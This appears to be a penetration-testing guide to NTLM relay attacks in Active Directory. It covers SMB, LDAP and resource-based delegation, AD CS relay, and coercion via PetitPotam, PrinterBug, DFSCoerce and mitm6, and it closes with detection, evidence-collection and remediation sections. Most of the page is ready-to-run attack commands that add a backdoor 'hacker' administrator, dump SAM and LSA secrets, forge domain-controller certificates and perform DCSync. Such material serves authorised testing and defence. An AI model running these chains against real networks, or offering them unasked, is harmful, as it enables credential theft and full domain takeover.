Relay Attacks
Relay captured NTLM authentication to other services instead of cracking hashes. Still effective against LDAP, HTTP/WebDAV and AD CS, and against SMB on hosts older than Windows 11 24H2 / Server 2025.
Danger
msDS-AllowedToActOnBehalfOfOtherIdentity; relaying to AD CS issues a certificate that stays valid for the
template's lifetime. Confirm the Rules of Engagement authorise object creation in the target domain and certificate
issuance, keep the target list you actually relayed to as scope evidence, and do not relay accounts whose use was not
agreed in advance.
Tool Installation
Required Tools
PetitPotam - MS-EFSRPC coercion
git clone https://github.com/topotam/PetitPotam
Prerequisites Check
Check SMB Signing
NTLM relay to SMB requires that signing is not enforced on the target. The default changed in Windows 11 24H2 and Windows Server 2025, so establish which build the target is running before building a target list.
SMB Signing Defaults:
- Windows 11 24H2 / Server 2025 and later - All inbound and outbound SMB connections require signing by default. SMB-to-SMB relay fails there regardless of the relayed account; use the LDAP, WebDAV or AD CS paths on this page instead.
- Windows 11 23H2 / Server 2022 and earlier - Signing is required only for SYSVOL/NETLOGON shares and for DC clients, so:
Domain Controllers- Signing required (cannot relay to DCs via SMB)Windows Servers- Signing not required (relayable)Windows Clients- Signing not required (relayable)
SMB auth rate limiter: on 24H2 / Server 2025 it is enabled by default and delays 2 seconds after every failed NTLM (or local-KDC Kerberos) authentication attempt. A spray that would land ~300 guesses per second against an earlier build is throttled to roughly one attempt per 2 seconds per session, so size SMB spraying against that ceiling or spray LDAP/Kerberos instead.
# nxc - generate relay target list (recommended)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Nmap SMB signing check
nmap -p445 --script smb-security-mode 192.168.1.0/24
nmap -p445 --script smb-security-mode 192.168.1.0/24 -oG - | grep 'not required'
# RunFinger (Responder toolkit)
cd /usr/share/responder/tools
python RunFinger.py -i 192.168.1.0/24
# NetExec (nxc successor)
nxc smb 192.168.1.0/24 --gen-relay-list targets.txtNTLM Relay to SMB
Basic SMB Relay
Step 1: Configure Responder to not respond on SMB/HTTP (ntlmrelayx will handle these)
# Edit Responder configuration
sudo nano /etc/responder/Responder.conf
# Set these to Off:
SMB = Off
HTTP = OffStep 2: Start Responder to poison LLMNR/NBT-NS (Terminal 1)
# Start Responder (with SMB/HTTP disabled in config)
sudo responder -I eth0 -dwPvStep 3: Start ntlmrelayx to relay captured auth (Terminal 2)
# Basic relay - dumps SAM when successful
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support
# With command execution
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add'
# Execute PowerShell encoded command
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'powershell -enc BASE64_ENCODED_PAYLOAD'Information
Relay with SAM / LSA Dump
# A successful relay that lands local admin dumps SAM automatically
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support
# Add LSA secrets (machine account + service account passwords)
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support --dump-lsa
# There is no --dump-sam switch - SAM output appears in the relay log as soon as the session is elevatedInteractive SMB Shell
# Get interactive SMB shell
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# Connect to the shell (when relay happens)
nc 127.0.0.1 11000
# Available commands: shares, use, cd, ls, get, put, cat, infoLDAP Relay
Relaying to LDAP/LDAPS allows modifying Active Directory objects. Requires relaying a privileged user or exploiting default AD permissions.
LDAP vs LDAPS:
LDAP (389)- Plaintext; relay succeeds unless Domain controller: LDAP server signing requirements is set to Require signingLDAPS (636)- TLS. LDAP signing does not govern this port at all — channel binding (EPA) does, and the relay fails when EPA is enabled
Relay to LDAP - Add Computer
By default, any domain user can add up to 10 computer accounts (ms-DS-MachineAccountQuota).
# Relay to LDAP and add a computer account
sudo ntlmrelayx.py -t ldap://DC_IP --add-computer YOURPC 'Password123!'
# Relay to LDAPS (more reliable for some operations)
sudo ntlmrelayx.py -t ldaps://DC_IP --add-computer
# After adding computer, you can use it for RBCD attacks
# Check the computer was created
nxc ldap DC_IP -u user -p pass -M maqRelay to LDAP - Resource-Based Constrained Delegation (RBCD)
Configure delegation on target computer to allow your controlled machine to impersonate users.
# Step 1: Relay to LDAPS with delegate-access
# 389 is refused when LDAP signing is "Require signing", and 636 is refused when
# channel binding (EPA) is enabled - so this only works where neither is enforced.
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user YOURPC$
# This modifies msDS-AllowedToActOnBehalfOfOtherIdentity on the target
# Step 2: Use S4U to get service ticket as admin
# Get TGT for your controlled computer
getST.py -spn cifs/TARGET.corp.local corp.local/YOURPC$:'Password123!' -impersonate Administrator
# Step 3: Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass TARGET.corp.local
secretsdump.py -k -no-pass TARGET.corp.localTip
Authentication Coercion
Coercion techniques force a target machine to authenticate to your attacker machine, providing credentials to relay.
Coercion Methods:
PetitPotam- MS-EFSRPC (EFS) - Most commonPrinterBug- MS-RPRN (Print Spooler)DFSCoerce- MS-DFSNM (DFS)ShadowCoerce- MS-FSRVP (File Server VSS)Coercer- Tests all methods automatically
Coercer - Test All Methods
Coercer automatically tests multiple coercion techniques to find working methods.
# Install Coercer
pip install coercer
# Scan for coercion vulnerabilities
coercer scan -t TARGET_IP -u user -p password -d corp.local
# Coerce authentication to attacker
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p password -d corp.local
# Target specific method
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p password -d corp.local --filter-method-name PetitPotamPetitPotam
# Download PetitPotam
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
# Unauthenticated coercion (if vulnerable - patched systems require auth)
python PetitPotam.py ATTACKER_IP TARGET_IP
# Authenticated (works on patched systems)
python PetitPotam.py -d corp.local -u user -p 'password' ATTACKER_IP TARGET_IP
# Full attack chain with AD CS
# Terminal 1: Start relay to ADCS
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Terminal 2: Trigger coercion
python PetitPotam.py ATTACKER_IP DC_IPPrinterBug (SpoolSample)
Requires Print Spooler service running on target (common on workstations and servers).
# Check if Print Spooler is running
rpcdump.py @TARGET_IP | grep -i spoolsv
nxc smb TARGET_IP -u user -p pass -M spooler
# Python PrinterBug
git clone https://github.com/dirkjanm/krbrelayx.git
python krbrelayx/printerbug.py corp.local/user:password@TARGET ATTACKER_IP
# Windows SpoolSample.exe
SpoolSample.exe TARGET ATTACKER
# Requires auth, triggers callback from TARGET to ATTACKERDFSCoerce
Coerces authentication via the DFS service (Distributed File System).
# Download DFSCoerce
git clone https://github.com/Wh04m1001/DFSCoerce.git
cd DFSCoerce
# Coerce via DFS
python dfscoerce.py -d corp.local -u user -p password ATTACKER TARGET
# DFS typically requires authenticationIPv6 DNS Takeover (mitm6)
mitm6 exploits Windows' default IPv6 configuration to become the DNS server and redirect traffic.
How it works:
- Windows prefers IPv6 over IPv4 by default
- mitm6 sends DHCPv6 replies to become the DNS server
- Victim queries DNS through attacker
- Attacker responds with own IP for WPAD proxy
- Victim authenticates to attacker's fake proxy
- Credentials relayed to target (LDAP/ADCS)
# Install mitm6
pip install mitm6
# Start mitm6 to poison IPv6 DNS
sudo mitm6 -d corp.local
# Combined with ntlmrelayx for WPAD (full attack)
# Terminal 1: Start mitm6
sudo mitm6 -d corp.local
# Terminal 2: Start ntlmrelayx with WPAD
sudo ntlmrelayx.py -6 -t ldaps://DC_IP -wh wpad.corp.local --delegate-access
# -6: Enable IPv6
# -wh: WPAD host to serve
# --delegate-access: Configure RBCD on relayed computer
# Wait for machines to refresh DHCP/DNS (can take minutes to hours)
# Works best during business hours when users are logging inWarning
Relay to ADCS (ESC8)
Active Directory Certificate Services web enrollment is often vulnerable to NTLM relay attacks. This is known as ESC8.
ESC8 Requirements:
- Web Enrollment enabled on Certificate Authority
- HTTP endpoints (not HTTPS with EPA)
- Certificate template that allows authentication (Machine, User, DomainController)
Enumerate ADCS
# Find ADCS with nxc
nxc ldap DC_IP -u user -p pass -M adcs
# Find with certipy
certipy find -u user@corp.local -p password -dc-ip DC_IP
# Check for vulnerable web enrollment
curl -I http://CA_IP/certsrv/
# 401 response = Web enrollment enabledRelay Attack Chain
# Step 1: Start relay to ADCS web enrollment
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Step 2: Trigger coercion from DC
python PetitPotam.py ATTACKER_IP DC_IP
# Step 3: ntlmrelayx will output a Base64 certificate
# Save it to a file and convert
echo 'BASE64_CERT' | base64 -d > dc.pfx
# Step 4: Authenticate with certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP
# Step 5: You now have DC machine hash - DCSync!
secretsdump.py -hashes :NTLM_HASH corp.local/DC$@DC_IPTip
Multi-Relay with SOCKS Proxy
SOCKS mode keeps sessions open, allowing you to use multiple tools through relayed connections.
# Start ntlmrelayx in SOCKS mode
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks
# List active sessions in ntlmrelayx console
socks
# Configure proxychains
# Edit /etc/proxychains4.conf:
# socks4 127.0.0.1 1080
# Use tools through SOCKS (no password needed - using relayed session)
proxychains secretsdump.py -no-pass corp.local/admin@TARGET
proxychains smbclient.py -no-pass corp.local/admin@TARGET
proxychains reg.py -no-pass corp.local/admin@TARGET query -keyName 'HKLM\SAM'SOCKS Session Notes:
- Sessions are user-to-target specific
- Use
sockscommand in ntlmrelayx to list active sessions - AdminStatus shows if user has admin on target
- Sessions timeout after period of inactivity
Tip
External Resources
The Hacker Recipes - NTLM Relay
Comprehensive guide on NTLM relay attacks
mitm6 - FOX-IT Blog
Original mitm6 research and attack details
AD CS Relay Attack Guide
Practical ESC8 attack walkthrough
Certipy - GitHub
Tool for AD CS enumeration and abuse
Coercer - GitHub
Automated Windows authentication coercion
ADCS + PetitPotam - ired.team
Complete relay chain to krbtgt hash
Detection & Blue Team
Relay is unusual to detect because every logon it produces is a genuine authentication with a valid password-equivalent — nothing on the account is wrong. The tells are contextual: an NTLM network logon from a workstation the account never uses, a computer account created seconds after an inbound RPC call, or a certificate enrolment from a host that is not a PKI server. Detection therefore depends on baseline, and the table is a starting map rather than a rule set.
| Attack | Event IDs | Detection Approach |
|---|---|---|
| NTLM Relay | 4624 (Type 3) | Logon events where source IP doesn't match the account's typical workstation. Enforce SMB signing and LDAP channel binding. |
| Relay to LDAP | 5136, 4741 | Monitor for computer account creation (4741) and msDS-AllowedToActOnBehalfOfOtherIdentity changes (5136). Set MachineAccountQuota=0. |
| Relay to ADCS | 4886, 4887 | Certificate enrollment requests from unusual IPs or for machine certificates. Enable EPA on ADCS HTTP endpoints. |
| Coercion (PetitPotam) | Network traffic | Monitor for RPC calls to EFS, Print Spooler, DFS pipes from workstations. Disable unnecessary services on DCs. |
Evidence Collection
Relay log:
The ntlmrelayx line naming the relayed account, source host, target and the operation it performed (--dump-lsa, --delegate-access, --adcs). This is the proof that authentication succeeded, which poisoning alone does not show.
Object or attribute written:
For LDAP relay, the created computer account and the msDS-AllowedToActOnBehalfOfOtherIdentity value before and after; for AD CS relay, the certificate's serial, template and SAN. Both are what the client has to clean up.
Session context:
The socks session list showing the relayed identity and AdminStatus. It bounds the impact claim: a relayed helpdesk account with admin on one workstation is a different finding from the same relay onto a DC.
Signing state:
The --gen-relay-list or smb-security-mode output showing signing "not required" on that host, plus its OS build — 24H2 and Server 2025 require signing by default, so build number and result travel together.
CVSS range: Relay to LDAP creating a computer account: 6.5–7.5 | Relay to AD CS issuing a DC certificate: 9.8 | Relay landing local admin and a SAM dump: 8.8
False Positive Identification
-
Poisoned is not relayed:
Responder answering a name proves the poisoning worked. The relay is the separate
SUCCEEDorAuthenticating againstline — if SMB signing rejected the session, you have a poisoning observation and no relay. - LDAP authentication without a write: An LDAP relay that authenticates and then fails with insufficient access proves signing is not required. Report the configuration weakness, not a compromise, unless an object or attribute actually changed.
- A certificate you cannot use: AD CS relay can issue a certificate that PKINIT then refuses (wrong template, no DC authentication EKU). The enrolment is the finding; the domain takeover is not.
- Coercion that never calls back: PetitPotam or PrinterBug returning success without an inbound connection to your listener is not coercion — check the listener, not the exploit's exit code.
Testing Checklist
A relay finding has three separate links - signing, `SUCCEED`, and the object written. A break at any one of them means the finding is smaller than it looks.
Prove the relay is possible
- ☐ Signing is confirmed "not required" on the target, with its build number - 24H2 and Server 2025 require signing by default, so the check is per host, not per estate.
- ☐
ntlmrelayx.py -tf targets -smb2supportprintsAuthenticating against ... SUCCEED; the poisoning line alone proves nothing. - ☐ Responder is listening only for the trigger, or its SMB and HTTP servers are off so the relay has something to receive.
- ☐ A coercion (PetitPotam, PrinterBug, DFSCoerce, Coercer) produces an inbound connection to your listener; no callback means the trigger failed.
Prove what the relay bought
- ☐ An LDAP relay that authenticates but writes nothing is reported as a signing or channel-binding weakness, not a compromise.
- ☐ A created computer account, or a new
msDS-AllowedToActOnBehalfOfOtherIdentityvalue, is read back from the directory to confirm it landed. - ☐ An AD CS relay produces an enrolment whose serial and SAN you can name, and
certipy autheither accepts it or the mapping limit is stated. - ☐ The
sockssession list shows the relayed identity andAdminStatus, which is what bounds the impact claim.
Remediation
Close the relay path
- • Require SMB signing by GPO on 23H2 and earlier estates, and verify the 24H2 / Server 2025 default rather than assuming it — one unmanaged appliance in the range is enough.
- • Set <em>Domain controller: LDAP server signing requirements</em> to <strong>Require signing</strong> and enable LDAP channel binding on every DC.
- • Enable Extended Protection for Authentication (EPA) on AD CS HTTP endpoints and WinRM, and disable HTTP certificate enrolment where HTTPS is available.
Remove the trigger and watch for the tail
- • Disable the Print Spooler service on DCs and on any host that does not print; apply Microsoft's RPC firewall guidance for EFSRPC and DFSNM.
- • Set
ms-DS-MachineAccountQuotato 0 and alert on4741(computer account created) and5136onmsDS-AllowedToActOnBehalfOfOtherIdentity. - • Alert on
4624type 3 NTLM logons from hosts that are not the account's usual workstation, and on4886/4887certificate enrolments from non-PKI hosts.